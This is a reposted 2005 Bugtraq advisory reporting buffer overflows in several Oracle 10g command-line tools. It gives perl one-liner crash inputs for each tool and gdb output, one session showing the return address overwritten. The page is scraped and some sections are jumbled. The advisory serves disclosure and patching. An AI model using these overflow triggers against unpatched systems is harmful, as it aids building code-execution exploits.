

Various Buffer Overflows in Oracle 10g Tools

Source: <http://www.derkeiler.com/Mailing-Lists/securityfocus/bugtraq/2005-01/0255.html>

From: Joxean Koret (joxeankoret_at_yahoo.es)

Date: 01/20/05

To: Security Tracker <bugs@securitytracker.com>, Secunia <vuln@secunia.com>, bugtraq@securityfocus.com
Date: Thu, 20 Jan 2005 22:04:33 +0000

Various Buffer Overflows in Oracle 10g Tools

Author: Jose Antonio Coret (Joxean Koret)

Date: 2004, 2005

Location: Basque Country

Affected software description:
~~~~~

Oracle10g – Version 10.1.0.3.0

Web : <http://www.oracle.com>

---

Vulnerability List:  
~~~~~

- A.– Oracle XML Developers Kit 10.1.0.3.0 – Production
- B.– Kerberos Utilities: Version 10.1.0.3.0 – Production
- C.– Configuration tool for Oracle Cluster Registry
- D.– NMUCT Program
- E.– MAPSGA – An utility to dump the SGA
- F.– NLS Data Installation Utility: Version 10.1.0.3.0 – Production
- G.– NLS Binary Message File Generation Utility: Version 10.1.0.3.0 – Production
- H.– IMPDP y EXPDP: Release 10.1.0.3.0 – Production
- I.– Genezi Client Shared Library 32-bit – 10.01.00.03.00

Vulnerabilities:
~~~~~

## SecurityFocus Bugtraq: Various Buffer Overflows in Oracle 10g Tools

### A.– Oracle XML Developers Kit 10.1.0.3.0 – Production

#### A1. BOF in stylesheet argument

Oracle10g Database Servers XSL processor tool called XSL is vulnerable to buffer overflows.

This may allow to run arbitrary code.

#### A2. Samples

```
joxean@nemobox:/data/oracle/bin$ ./xsl -B a `perl -e 'print "a"x2272;`  
oracle  
Segmentation fault  
joxean@nemobox:/data/oracle/bin$ ./xsl -f `perl -e 'print "a"x2272;`  
oracle  
Segmentation fault
```

NOTE: Argument must be more than 2272 character long.

```
joxean@nemobox:/data/oracle/bin$ gdb ./xsl  
(bla, bla, bla...)  
This GDB was configured as "i386-linux"...Using host libthread_db  
library "/lib/libthread_db.so.1".
```

```
(gdb) run -B a `perl -e 'print "a"x2272;` oracle  
Starting program: /data/oracle/bin/xsl -B a `perl -e 'print "a"x2272;`  
oracle  
[Thread debugging using libthread_db enabled]  
[New Thread 16384 (LWP 8457)]
```

Program received signal SIGSEGV, Segmentation fault.

```
[Switching to Thread 16384 (LWP 8457)]
```

```
0x61616161 in ?? ()
```

```
(gdb) print $ebp
```

```
$1 = (void *) 0x61616161
```

```
(gdb) print $ebp+4
```

```
$2 = (void *) 0x61616165
```

```
(gdb) quit
```

```
The program is running. Exit anyway? (y or n) y
```

```
joxean@nemobox:/data/oracle/bin$
```

We have been overwrite the return address with 0x61616161, the 'a' character

### B.– Kerberos Utilities: Version 10.1.0.3.0 – Production

#### B1. BOF in cachename parameter

The Oracle10g Database Server Kerberos Utilities are vulnerables to buffer overflows. This may allow to run arbitrary code.

## B2. Samples

```
joxean@nemobox:/data/oracle/bin$ ./oklist -c `perl -e 'print "a"x300;`  
Kerberos Utilities for Linux: Version 10.1.0.3.0 - Production on  
11-NOV-2004 18:52:28  
Copyright (c) 1996, 2002 Oracle. All rights reserved.
```

Segmentation fault

```
joxean@nemobox:/data/oracle/bin$ ./okdstry -c `perl -e 'print  
"x"x6000;`  
Kerberos Utilities for Linux: Version 10.1.0.3.0 - Production on  
11-NOV-2004 18:59:59  
Copyright (c) 1996, 2002 Oracle. All rights reserved.
```

Segmentation fault

## C.- Configuration tool for Oracle Cluster Registry

### C1. Upgrade argument Buffer Overflow

The Oracle10g Database Server OCRCONFIG tool is vulnerable to buffer overflows. This may allow to run arbitrary code.

### C2. Sample

```
joxean@nemobox:/data/oracle/bin$ ./ocrconfig `perl -e 'print  
"a"x6000;`  
Segmentation fault
```

## D.- NMUCT Program

### D1. NMUCT???

I don't know for what purposes serves this Oracle10g tool (?) but this is vulnerable to buffer overflows (any parameter!).

### D1. Samples

```
joxean@nemobox:/data/oracle/bin$ ./nmuct `perl -e 'print "a"x6000;`  
`perl -e 'print "a"x6000;` `perl -e 'print "a"x6000;` `perl -e 'print  
"a"x6000;` `perl -e 'print "a"x6000;` `perl -e 'print "a"x6000;`  
Now in main ....  
Segmentation fault
```

Next tests :

```
joxean@nemobox:/data/oracle/bin$ ./nmuct a a a `perl -e 'print  
"a"x6000;` a
```

## SecurityFocus Bugtraq: Various Buffer Overflows in Oracle 10g Tools

```
Now in main ....
Segmentation fault
joxean@nemobox:/data/oracle/bin$ ./nmuct a a a `perl -e 'print
"a"x6000;` a a
Now in main ....
Segmentation fault
joxean@nemobox:/data/oracle/bin$ ./nmuct a a `perl -e 'print "a"x6000;`
a a a
Now in main ....
Segmentation fault
joxean@nemobox:/data/oracle/bin$ ./nmuct a `perl -e 'print "a"x6000;` a
a a a
Now in main ....
Segmentation fault
joxean@nemobox:/data/oracle/bin$ ./nmuct `perl -e 'print "a"x6000;` a a
a a a
Now in main ....
Segmentation fault
```

Almost any argument in this program is vulnerable to BOFs

E.- MAPSGA – An utility to dump the SGA

E1. BOF at the first argument

The Oracle10g Database Server MAPSGA tool is vulnerable to buffer overflows. This may allow to run arbitrary code.

E2. Sample(s)

```
joxean@nemobox:/data/oracle/bin$ ./mapsga `perl -e 'print "a"x60000;`
Segmentation fault
```

```
joxean@nemobox:/data/oracle/bin$ gdb mapsga
(more bla, bla, bla...)
This GDB was configured as "i386-linux"...Using host libthread_db
library "/lib/libthread_db.so.1".
```

```
(gdb) run `perl -e 'print "x"x6000;`
Starting program: /data/oracle/bin/mapsga `perl -e 'print "x"x6000;`
[Thread debugging using libthread_db enabled]
[New Thread 16384 (LWP 28581)]
```

```
Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread 16384 (LWP 28581)]
0x41044390 in getenv () from /lib/libc.so.6
(gdb) print $ebp
$1 = (void *) 0xbfffd9f4
(gdb) print $ebp+4
$2 = (void *) 0xbfffd9f8
```

## SecurityFocus Bugtraq: Various Buffer Overflows in Oracle 10g Tools

(gdb) quit

The program is running. Exit anyway? (y or n) y

F.– NLS Data Installation Utility: Version 10.1.0.3.0 – Production

F1. Another BOF

The Oracle10g Database Server NLS Data Installation Utility is vulnerable to buffer overflows. This may allow to run arbitrary code.

F2. Samples

```
joxean@nemobox:/data/oracle/bin$ ./lxinst `perl -e 'print "x"x6000;`
```

NLS Data Installation Utility: Version 10.1.0.3.0 – Production  
Copyright (c) Oracle 1993, 2004. All rights reserved.

CORE 10.1.0.3.0 Production

Segmentation fault

```
joxean@nemobox:/data/oracle/bin$ gdb lxinst
```

(And more bla, bla, bla...)

This GDB was configured as "i386-linux" ...Using host libthread\_db library "/lib/libthread\_db.so.1".

```
(gdb) run `perl -e 'print "x"x6000;`
```

Starting program: /data/oracle/bin/lxinst `perl -e 'print "x"x6000;`

[Thread debugging using libthread\_db enabled]

[New Thread 16384 (LWP 29664)]

NLS Data Installation Utility: Version 10.1.0.3.0 – Production

Copyright (c) Oracle 1993, 2004. All rights reserved.

CORE 10.1.0.3.0 Production

Program received signal SIGSEGV, Segmentation fault.

[Switching to Thread 16384 (LWP 29664)]

0x4109045d in memcpy () from /lib/libc.so.6

```
(gdb) run `perl -e 'print "x"x6000;`
```

The program being debugged has been started already.

Start it from the beginning? (y or n) y

Starting program: /data/oracle/bin/lxinst `perl -e 'print "x"x6000;`

[Thread debugging using libthread\_db enabled]

[New Thread 16384 (LWP 29696)]

NLS Data Installation Utility: Version 10.1.0.3.0 – Production

Copyright (c) Oracle 1993, 2004. All rights reserved.

Various Buffer Overflows in Oracle 10g Tools



## SecurityFocus Bugtraq: Various Buffer Overflows in Oracle 10g Tools

Another easy test: `lmsgen `perl -e 'print "x"x6000;` a a`

H.– IMPDP y EXPDP: Release 10.1.0.3.0 – Production

H1. Buffer overflow in EXPDP and IMPDP tools

The Oracle10g Database Server Data Pump IMPORT and EXPORT tools (called `impdp` and `expdp`) are vulnerable to buffer overflows. This may allow code execution.

H2 Samples

```
joxean@nemobox:/data/oracle/bin$ ./impdp `perl -e 'print "a"x60000;`  
Segmentation fault
```

```
joxean@nemobox:/data/oracle/bin$ ./expdp `perl -e 'print "x"x5000;`
```

Export: Release 10.1.0.3.0 – Production on Thursday, 11 November, 2004  
20:27

Copyright (c) 2003, Oracle. All rights reserved.  
Segmentation fault

I.– Genezi Client Shared Library 32-bit – 10.01.00.03.00

I1. Another BOF

The Oracle10g Database Server Genezi tool is vulnerable to buffer overflows. This may allow to run arbitrary code.

I2. Samples

```
joxean@nemobox:/data/oracle/bin$ ./genezi -c `perl -e 'print "x"x5000;`  
Segmentation fault
```

The fix:

~~~~~

Oracle has been released patches for these and more issues. Patches are available to download from the MetaLink site, at <http://metalink.oracle.com>

Disclaimer:

~~~~~

The information in this advisory and any of its demonstrations is provided "as is" without any warranty of any kind.

